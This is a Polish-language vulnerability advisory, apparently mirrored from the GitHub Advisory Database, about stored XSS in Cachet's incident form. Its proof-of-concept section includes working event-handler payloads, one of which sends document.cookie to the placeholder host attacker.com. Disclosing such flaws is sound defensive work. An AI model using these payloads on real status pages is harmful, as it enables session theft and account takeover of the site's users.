Składowane XSS w komponencie incydentów w Cachet
Podsumowanie
W formularzu tworzenia incydentów występuje podatność na składowane Cross-Site Scripting (XSS), która pozwala uwierzytelnionemu atakującemu na wstrzyknięcie złośliwego kodu HTML/JavaScript. Kod ten wykonuje się w przeglądarce każdego użytkownika wyświetlającego stronę statusu, co potencjalnie prowadzi do kradzieży tokenów sesyjnych oraz przejęcia konta.
Szczegóły
Pola nazwy i wiadomości incydentu nie sanityzują poprawnie atrybutów obsługi zdarzeń HTML. Chociaż znaczniki <script> wydają się być filtrowane, ładunki oparte na zdarzeniach nie są blokowane.
- Podatny punkt końcowy:
/dashboard/incidents/ - Podatne pola: Incident Name, Incident Message
- Podatna wersja: Cachet v3
PoC
- Zaloguj się jako uwierzytelniony użytkownik
- Przejdź do
/dashboard/incidents/ - Utwórz nowy incydent
- Wstaw następujące ładunki w polach Name oraz Message:
Payload 1 — Potwierdzenie wykonania XSS:
<img src=x onerror="alert(1)">
Step 2 — Cookie/token exfiltration:
<img src=x onerror="fetch('http://attacker.com/leak?c='+document.cookie)">
Step 3 — Forced redirect to sensitive page:
<img src=x onerror="window.location='/dashboard/manage-customization'">
- Zapisz incydent
- Przejdź do publicznej strony statusu
- Ładunek wykonuje się w przeglądarce ofiary
Payload 1
<img width="1926" height="1062" alt="Screenshot_2026-05-05_21_19_21" src="https://github.com/user-attachments/assets/3ec50987-332d-4ba2-8fd2-b18ccc8d8f6b" />
Payload 2
<img width="1910" height="525" alt="Screenshot_2026-05-07_12_22_07" src="https://github.com/user-attachments/assets/3b34170d-a2f0-4962-9e20-1fc8e305c589" />
Wpływ
Składowane XSS ma wpływ na wszystkich użytkowników wyświetlających publiczną stronę statusu.
Atakujący może:
- Potwierdzić wykonanie skryptu za pomocą wyskakującego okna alert
- Skraść pliki cookie sesji oraz tokeny XSRF uwierzytelnionych użytkowników
- Dyskretnie przekierować ofiary na wrażliwe strony, takie jak
/dashboard/manage-customization
Podatność ta może prowadzić do całkowitego przejęcia konta dowolnego użytkownika przeglądającego stronę statusu, w tym administratorów.
Co trzeba zrobić
Środki zaradcze nie zostały określone.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka Composer | cachethq/cachet | <= 2.4.1 | brak poprawki |
Odnośniki
- Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N- Słabość (CWE)
CWE-79- Platforma
- Composer
- Paczka
cachethq/cachet- Ujawniono
- 20.10.2026
- Aktualizacja
- 21.10.2026 00:18
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-x397-5hrv-j9m9 - CC BY 4.0
Historia podatności: cachethq/cachet
Wszystkie opisane podatności tej paczki (Paczka Composer), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 6
- Pierwsza → ostatnia
- 08.2021 10.2026
- Bez poprawki
- 2
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Krytyczna 1
- Wysoka 4
- Średnia 1
Ujawnienia w latach
- 2021: 4
- 2022: 0
- 2023: 1
- 2024: 0
- 2025: 0
- 2026: 1
-
Składowane XSS w komponencie incydentów w Cachet ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.